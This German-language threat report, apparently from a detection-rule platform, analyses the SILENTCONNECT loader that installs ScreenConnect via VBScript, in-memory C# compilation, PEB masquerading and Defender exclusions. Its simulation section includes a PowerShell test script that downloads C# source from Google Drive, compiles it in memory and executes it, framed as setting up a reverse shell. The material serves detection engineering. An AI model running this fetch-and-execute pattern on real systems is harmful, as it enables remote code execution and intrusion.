Von Einladung zur Infektion: Wie SILENTCONNECT ScreenConnect liefert
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Der Bericht beschreibt einen mehrstufigen Loader namens SILENTCONNECT, der sich auf einen VBScript-Dropper, die In-Memory-Kompilierung von C#-Code mit PowerShell und PEB-Maskerade verlässt, um das ConnectWise ScreenConnect Fernverwaltungstool leise bereitzustellen. Der Angriff beginnt mit einer Phishing-E-Mail, die die Opfer durch eine Cloudflare Turnstile CAPTCHA-Seite leitet, bevor die VBScript-Nutzlast bereitgestellt wird. Dieses Skript ruft eine C#-Komponente von Google Drive ab, kompiliert sie im Arbeitsspeicher und lädt dann einen ScreenConnect MSI von einer bösartigen Domain herunter, um als Windows-Dienst Persistenz zu etablieren. Die Kampagne mischt vertrauenswürdige Hosting-Dienste mit Living-off-the-Land-Binaries, um das Erkennungsprofil zu minimieren.
Untersuchung
Elastic Security Labs identifizierte eine Kette ungewöhnlicher Windows-Skript-Warnungen, die letztendlich die auf Cloudflare R2 gehostete Datei E-INVITE.vbs offenlegten. Die Analyse zeigte, dass das Skript einen PowerShell-Befehl startete, der curl.exe aufrief, um eine C#-Quelldatei von Google Drive abzurufen, die dann direkt im Arbeitsspeicher kompiliert und ausgeführt wurde. Der Loader verwendete NtAllocateVirtualMemory, um ausführbaren Speicher zu reservieren, PEB-Maskerade anzuwenden und eine Windows Defender-Ausschlussregel einzufügen, bevor der ScreenConnect-Installer mit curl heruntergeladen und durch msiexec ausgeführt wurde. Network-Telemetrie zeigte, dass der bereitgestellte Client eine C2-Endpunktverbindung zu bumptobabeco.top über TCP-Port 8041 herstellte.
Minderung
Sicherheitsteams sollten verdächtige PowerShell-Befehlszeilen mit Aufrufen von curl.exe, die Erstellung temporärer Ordner unter C:Temp und ungewöhnliche Add-Type-Kompilierungen von heruntergeladenem C#-Quellcode überwachen. Die Erkennung sollte auch PEB-Maskerade berücksichtigen, indem Prozesse gekennzeichnet werden, deren BaseDLLName- oder FullDllName-Werte nicht mit dem tatsächlichen Modulpfad übereinstimmen. Ausgehender Verkehr zu unbekannten Domains, die MSI-Installer hosten, sollte blockiert oder streng überprüft werden, und die Ausführung von msiexec sollte für nicht vertrauenswürdige Quellen streng kontrolliert werden. Windows Defender-Ausschlüsse dürfen nur über genehmigte administrative Arbeitsabläufe angewendet werden.
Reaktion
Wenn diese Indikatoren beobachtet werden, isolieren Sie sofort den betroffenen Host, beenden Sie den bösartigen Prozess und entfernen Sie den installierten ScreenConnect-Dienst. Sammeln Sie forensische Beweise, einschließlich temporärer Dateien, der kompilierten .NET-Assembly und aller heruntergeladenen MSI-Pakete. Setzen Sie nicht autorisierte Windows Defender-Ausschlüsse zurück und stellen Sie die UAC-Einstellungen wieder her, falls diese geändert wurden. Durchsuchen Sie dann die weitere Umgebung nach passenden Ladeprogrammartefakten und aktualisieren Sie die Erkennungsinhalte mit allen neu identifizierten IOCs.
"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ccffcc classDef malware fill:#ffdddd %% Nodes action_phishing["<b>Aktion</b> – <b>Technik</b>: T1566 Phishing<br/><b>Beschreibung</b>: Spearphishing-E-Mail liefert bösartige Inhalte."] class action_phishing action action_user_click["<b>Aktion</b> – Der Benutzer klickt auf den bösartigen Link zur Cloudflare Turnstile-Seite."] class action_user_click action malware_vbscript["<b>Malware</b> – VBScript-Datei<br/><b>Technik</b>: T1059.005 Visual Basic<br/><b>Beschreibung</b>: Führt ein Visual Basic-Skript aus, um weiteren Code zu starten."] class malware_vbscript malware tool_powershell["<b>Werkzeug</b> – PowerShell<br/><b>Technik</b>: T1059.001 PowerShell<br/><b>Beschreibung</b>: Führt PowerShell-Befehle für die Systemsteuerung aus."] class tool_powershell tool tool_curl["<b>Werkzeug</b> – Curl<br/><b>Technik</b>: T1570 Lateral Tool Transfer<br/><b>Beschreibung</b>: Ruft Dateien aus dem Remote-Speicher (Google Drive) ab."] class tool_curl tool malware_compile["<b>Malware</b> – In-Memory-C#-Kompilierung<br/><b>Technik</b>: T1027.004 Kompilieren nach Lieferung<br/><b>Beschreibung</b>: Kompiliert C#-Quelldateien direkt im Speicher."] class malware_compile malware process_injection["<b>Prozess</b> – NtAllocateVirtualMemory<br/><b>Technik</b>: T1055.002 Prozessionjektierung<br/><b>Beschreibung</b>: Reserviert Speicher in einem Zielprozess für die Nutzlastinjektion."] class process_injection process malware_peb["<b>Malware</b> – PEB-Maskerade<br/><b>Technik</b>: T1036.011 Maskerade<br/><b>Beschreibung</b>: Überschreibt BaseDLLName, um als winhlp32.exe zu erscheinen."] class malware_peb malware tool_cmstp["<b>Werkzeug</b> – CMSTP<br/><b>Technik</b>: T1218.003 System Binary Proxy Execution CMSTP<br/><b>Beschreibung</b>: Verwendet die CMSTP-COM-Schnittstelle, um UAC zu umgehen."] class tool_cmstp tool action_defender_exclusion["<b>Aktion</b> – <b>Technik</b>: T1564.012 Dateipfadausnahmen<br/><b>Beschreibung</b>: Fügt eine Microsoft Defender-Ausschlussregel für bösartige ausführbare Dateien hinzu."] class action_defender_exclusion action tool_screenconnect_msi["<b>Werkzeug</b> – ScreenConnect MSI<br/><b>Technik</b>: T1570 Lateral Tool Transfer<br/><b>Beschreibung</b>: Lädt den Remoteverwaltungs-Installer herunter."] class tool_screenconnect_msi tool tool_msiexec["<b>Werkzeug</b> – Msiexec<br/><b>Technik</b>: T1547.010 Boot Logon Autostart Execution Port Monitors<br/><b>Beschreibung</b>: Führt die stille Installation des ScreenConnect-Dienstes aus."] class tool_msiexec tool malware_screenconnect["<b>Malware</b> – ScreenConnect-Dienst<br/><b>Technik</b>: T1219 Fernzugriffstools<br/><b>Beschreibung</b>: Bleibt im System bestehen und verbindet sich mit Command and Control."] class malware_screenconnect malware %% Connections action_phishing –>|führt zu| action_user_click action_user_click –>|lädt herunter| malware_vbscript malware_vbscript –>|startet| tool_powershell tool_powershell –>|verwendet| tool_curl tool_curl –>|holt die Quelle für| malware_compile malware_compile –>|lädt in| process_injection process_injection –>|ermöglicht| malware_peb malware_peb –>|ermöglicht| tool_cmstp tool_cmstp –>|triggert| action_defender_exclusion action_defender_exclusion –>|lädt herunter| tool_screenconnect_msi tool_screenconnect_msi –>|installiert über| tool_msiexec tool_msiexec –>|erstellt| malware_screenconnect "
Angriffsfluss
Erkennungen
Möglicher Google Drive Phishing (via Proxy)
Ansehen
Mögliche Dateninfiltration / -exfiltration / C2 via Drittanbieterdienste / -werkzeuge (via DNS)
Ansehen
Mögliches PowerShell-Skript mit Lolbin (via PowerShell)
Ansehen
Mögliche LOLBAS-Kette (via cmdline)
Ansehen
Msiexec, ausgelöst durch Shell-Prozess (via cmdline)
Ansehen
Möglicher Initialzugang durch Phishing mit Dateierweiterungen als TLD (via DNS)
Ansehen
Mögliche Command-und-Control-Aktivität durch Remotezugriff-Software-Domain-Kommunikationsversuch (via DNS)
Ansehen
Google Drive Domain wurde von einem verdächtigen Prozess aufgelöst (via DNS-Anfrage)
Ansehen
Verdächtige Command-und-Control-Aktivität durch ungewöhnliche Top-Level-Domain (TLD) DNS-Anfrage (via DNS)
Ansehen
Verdächtige CURL-Nutzung (via cmdline)
Ansehen
Mögliche Msiexec-Ausführung von Dateien in einem ungewöhnlichen Verzeichnis (via cmdline)
Ansehen
IOCs (HashSha256), um zu erkennen: From Invitation to Infection: Wie SILENTCONNECT ScreenConnect ausliefert
Ansehen
IOCs (E-Mails), um zu erkennen: From Invitation to Infection: Wie SILENTCONNECT ScreenConnect ausliefert
Ansehen
IOCs (SourceIP), um zu erkennen: From Invitation to Infection: Wie SILENTCONNECT ScreenConnect ausliefert
Ansehen
IOCs (DestinationIP), um zu erkennen: From Invitation to Infection: Wie SILENTCONNECT ScreenConnect ausliefert
Ansehen
Verdächtige PowerShell-Ausführung mit C#-Nutzlast-Download und -Ausführung [Windows Powershell]
Ansehen
Erkennung des Downloads und der Ausführung des SILENTCONNECT ScreenConnect-Installers [Windows-Prozesserstellung]
Ansehen
Simulation Execution
Voraussetzung: Die Telemetrie- und Basis-Landestartsüberprüfung muss bestanden werden.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die zur Auslösung der Erkennungsregel entwickelt wurde. Die Kommandos und Erzählungen MÜSSEN die identifizierten TTPs direkt widerspiegeln und zielen darauf ab, genau die Telemetrie zu erzeugen, die von der Erkennung erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu einer Fehldiagnose.
-
Angriffs-Narrativ & Kommandos:
- Initiale Erkundung & Nutzlastabruf – Der Angreifer hostet eine bösartige C#-Quelldatei auf Google Drive. Mit PowerShell laden sie die Rohdatei herunter über
Invoke-WebRequest. - In-Memory-Kompilierung – Die heruntergeladene C#-Quelle wird direkt im Speicher kompiliert mit
Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $src. - Ausführung – Der resultierende .NET-Typ wird instanziiert und seine
Run()Methode wird aufgerufen, um eine Reverse-Shell zu etablieren. - Verschleierung – Die Befehlszeile wird gestartet mit
-ExecutionPolicy Bypassum Richtlinienblöcke zu vermeiden, die genau den Zeichenfolgen entsprechen, die die Regel überwacht.
- Initiale Erkundung & Nutzlastabruf – Der Angreifer hostet eine bösartige C#-Quelldatei auf Google Drive. Mit PowerShell laden sie die Rohdatei herunter über
-
Regressionstest-Skript:
# ------------------------------------------------- # Simuliertes Angreifer-Skript – löst Sigma-Regel aus # ------------------------------------------------- # 1. Definieren Sie die Remote-C#-Payload-URL (Google Drive-Teilen-Link) $payloadUrl = "https://drive.google.com/uc?export=download&id=YOUR_FILE_ID" # 2. Laden Sie die C#-Quelle in eine Variable herunter $csharpSource = Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing | Select-Object -ExpandProperty Content # 3. Kompilieren und laden Sie die Nutzlast im Speicher Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $csharpSource -Language CSharp # 4. Führen Sie die Nutzlast aus (geht von einer Klasse namens "Payload" mit statischer Methode "Run" aus) # ------------------------------------------------- -
Bereinigungskommandos:
# Entfernen Sie alle temporären Dateien (keine erstellt) und entladen Sie die im Speicher befindliche Assembly # PowerShell bietet kein direktes Entladen; beenden Sie den Prozess bei Bedarf Stop-Process -Id $PID -Force